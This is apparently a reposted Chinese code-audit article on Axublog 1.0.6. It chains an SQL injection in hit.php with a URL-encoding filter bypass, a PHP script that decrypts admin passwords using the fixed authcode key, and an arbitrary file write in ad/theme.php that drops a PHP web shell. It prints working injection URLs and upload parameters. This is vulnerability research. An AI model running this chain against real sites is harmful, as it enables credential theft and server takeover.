Freebuf漏斗专栏之代码审计| Axublog前台SQL注入到后台GetShell

0×00 背景

看了cnvd上有师傅发了Axublog 的漏洞,便对该源码进行分析和漏洞复现,在漏洞复现过程发现可以将这些漏洞组合利用从而通过前台SQL注入与后台任意文件上传可以轻松获取GetShell,当然该源码还存在许多安全问题,本篇未涉及。

源码下载地址:http://pic.axublog.com/axublog1.0.6install.rar

0×01 前台SQL注入

源码版本:Axublog axublog v1.0.6

漏洞位置:hit.php

漏洞链接:http://www.cnvd.org.cn/flaw/show/CNVD-2017-35761

下载源码并进行安装,根据CNVD上的描述,存在漏洞的文件是ad/theme.php,打开目标文件进行审计,经过审计发现改文件还存在其他多个漏洞,本篇先不做分析。

1. 根据CNVD上的描述,在hit.php文件中发现如下代码块,使用GET接收参数id的值并且直接传入到SQL语句进行拼接操作,且没有进行任何安全处理,所以存在SQL注入漏洞,在文件的第20行中将SQL语句的执行结果打印出来,因此是有回显的SQL注入。

2. 此处是前台的页面,因此可以在前台直接访问该页面,进行SQL注入获取数据库中的敏感信息,首先需要满足if条件语句的要求,使用GET请求g参数的值为arthit,id参数的值不为空,进行如下请求后使用mysql监控工具,监测执行的SQL语句,确保传入的参数已经执行。

3. 执行如下请求发现被拦截了,然后在文件的第4-5行发现sqlguolv方法。

4. 跟入该方法在axublog1.0.6\class\c_other.php文件的第545-548行中发现了该方法的代码块。

5. 该代码块使用$_SERVER['QUERY_STRING']获取查询语句,一般是问号后面的字符串,但是使用$_SERVER['QUERY_STRING']并不会对传入的字符进行一次URL解码操作,但是$_GET是会进行一次URL解码的,并且传入id值使用的是$_GET的方式接收,过滤的时候使用$_SERVER['QUERY_STRING']进行接收和处理,所以可以使用url编码绕过检测。

获取管理员用户名。

http://127.0.0.1/code/axublog1.0.6/hit.php?g=arthit&id=-1+%55NION+ALL+%53ELECT+1,2,3,4,5,6,adnaa,8,9,10,11,12 from axublog_adusers

获取管理员用户密码:

http://127.0.0.1/code/axublog1.0.6/hit.php?g=arthit&id=-1+%55NION+ALL+%53ELECT+1,2,3,4,5,6,adpss,8,9,10,11,12 from axublog_adusers

6. 在分析的时候发现axublog1.0.6\ad\login.php的第88行中密码使用了authcode方法进行加密。

7. 跟入authcode方法,在axublog1.0.6\class\c_md5.php文件的第16-62行中发现了该方法的代码块,将该加解密的方法抓取出来,然后结合axublog1.0.6\ad\login.php的第88行,可以知道加解密的字符串写成固定的值key,使用如下的方式获取从数据库中得到的管理员密码明文,然后便可以登录后台。

1.<?php

2.function authcode($string, $operation = 'DECODE', $key = '', $expiry = 30) {

3\. $ckey_length = 0;

4.// 随机密钥长度 取值 0-32;

5.// 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。

6.// 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方

7.// 当此值为 0 时,则不产生随机密钥

8\. $key = md5($key ? $key : EABAX::getAppInf('KEY'));

9\. $keya = md5(substr($key, 0, 16));

10\. $keyb = md5(substr($key, 16, 16));

11\. $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

12\. $cryptkey = $keya.md5($keya.$keyc);

13\. $key_length = strlen($cryptkey);

14\. $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

15\. $string_length = strlen($string);

16\. $result = '';

17\. $box = range(0, 255);

18\. $rndkey = array();

19\. for($i = 0; $i <= 255; $i++) {

20\. $rndkey[$i] = ord($cryptkey[$i % $key_length]);

21\. }

22\. for($j = $i = 0; $i < 256; $i++) {

23\. $j = ($j + $box[$i] + $rndkey[$i]) % 256;

24\. $tmp = $box[$i];

25\. $box[$i] = $box[$j];

26\. $box[$j] = $tmp;

27\. }

28\. for($a = $j = $i = 0; $i < $string_length; $i++) {

29\. $a = ($a + 1) % 256;

30\. $j = ($j + $box[$a]) % 256;

31\. $tmp = $box[$a];

32\. $box[$a] = $box[$j];

33\. $box[$j] = $tmp;

34\. $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

35\. }

36\. if($operation == 'DECODE') {

37\. if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

38\. return substr($result, 26);

39\. } else {

40\. return '';

41\. }

42\. } else {

43\. return $keyc.str_replace('=', '', base64_encode($result));

44\. }

45.}

46.

47.$psw='yYxvHseLMURYWjMXuICtH2jsBTQNdXog43es9PZUng';

48.echo authcode(@$psw, 'DECODE', 'key',0)

49.

50.?>

0×02 任意文件上传漏洞

源码版本:Axublog axublog v1.0.6

漏洞位置:ad/theme.php

漏洞链接:http://www.cnvd.org.cn/flaw/show/CNVD-2017-36013

1. 在ad/theme.php文件中的第185-205行中发现edit2save方法中的如下代码块,是进行文件的报存操作,将REQUEST请求的的path参数和content参数分别作为作为报存的路径和内容传入file_put_contents中进行保存操作。

2. 追溯寻找edit2save方法被调用的位置,在文件ad/theme.php中的第10-25行中发现如下代码,当GET传入的g参数的值为edit2save时候便会调用edit2save方法。

3. 但是由于该文件需要登录到后台访问,所以有一定的限制,但是与前台SQL注入漏洞利用便可以使用管理员账号登录,进行如下请求可以对该漏洞进行验证;使用GET传入g=edit2save,使用POST传入path=./evil_shell.php&content=<?php phpinfo();?>

然后再访问http://127.0.0.1/code/axublog1.0.6/ad/evil_shell.php,便可以访问到上传的恶意文件。

0×03 总结

本篇涉及Axublog的3个主要问题: 1.前台SQL过滤可以被绕过,2. 加密的key默认是固定的,3. 后台存在任意文件上传,因此利用这3个问题便可以前台GetShell,最后感谢师傅们的指导,期待和师傅们的各种交流

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏微信公众号:Java团长

JavaWeb学习总结(一)——JavaWeb开发入门

  WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源。   Internet上供外界访问的Web资源分为:

23920
来自专栏北京马哥教育

Linux 系统故障排查和修复技巧

我发现Linux系统在启动过程中会出现一些故障,导致系统无法正常启动,我在这里写了几个应用单用户模式、GRUB命令操作、Linux救援模式的故障修复案例帮助大家...

57200
来自专栏张尧博客

macOS High Seirra 提示“已损坏,打不开,您应该将它移至垃圾篓。”

30770
来自专栏生信技能树

用Modules优雅地管理服务器的环境变量

在我管理的基因组学群里,今天有人提出了这样一个问题,如果有多个版本的BLAST,并且都是用conda安装,应该如何调用不同版本的BLAST

18020
来自专栏Java技术分享

如何用redis/memcache做Mysql缓存层?

目前公司的一个项目,数据库用的是Mysql,正在考虑用redis/memcached做数据库的缓存层,目前的想法就是在读DB前,先读缓存层,如果有直接返回,如果...

53290
来自专栏编程

用python搭个web服务器玩玩(一)

如果你想成为一个优秀的开发者,你应该对日常使用的软件系统的内部结构有深入的理解,包括编程语言、数据库及操作系统、Web 服务器及 Web 框架。而且,为了更好更...

56690
来自专栏向治洪

nginx简明教程

nginx简介 Nginx (“engine x”) 是一个高性能的HTTP和 反向代理 服务器,也是一个 IMAP/POP3/SMTP 服务器。 Nginx ...

23690
来自专栏从零开始学自动化测试

python笔记23-unittest单元测试之mock

unittest.mock是一个用于在Python中进行单元测试的库,Mock翻译过来就是模拟的意思,顾名思义这个库的主要功能是模拟一些东西。 它的主要功能是使...

23620
来自专栏北京马哥教育

10个方法助你轻松完成Linux系统恢复

在Linux中有一些应用程序可以帮助你保存系统快照。大多数应用程序都是针对于新手的,并不需要高级的Linux操作技巧。我们在这里挑选了10个,你可以从中选择适合...

61050
来自专栏哲学驱动设计

性能优化总结(四):预加载的设计

    本节说一下数据的预加载。这节的内容与SQL没什么关系。主要说的是在 GIX4项目 中,我们是如何设计符合需求的预加载类库的。内容如下: 什么是预加载,为...

26950

扫码关注云+社区

领取腾讯云代金券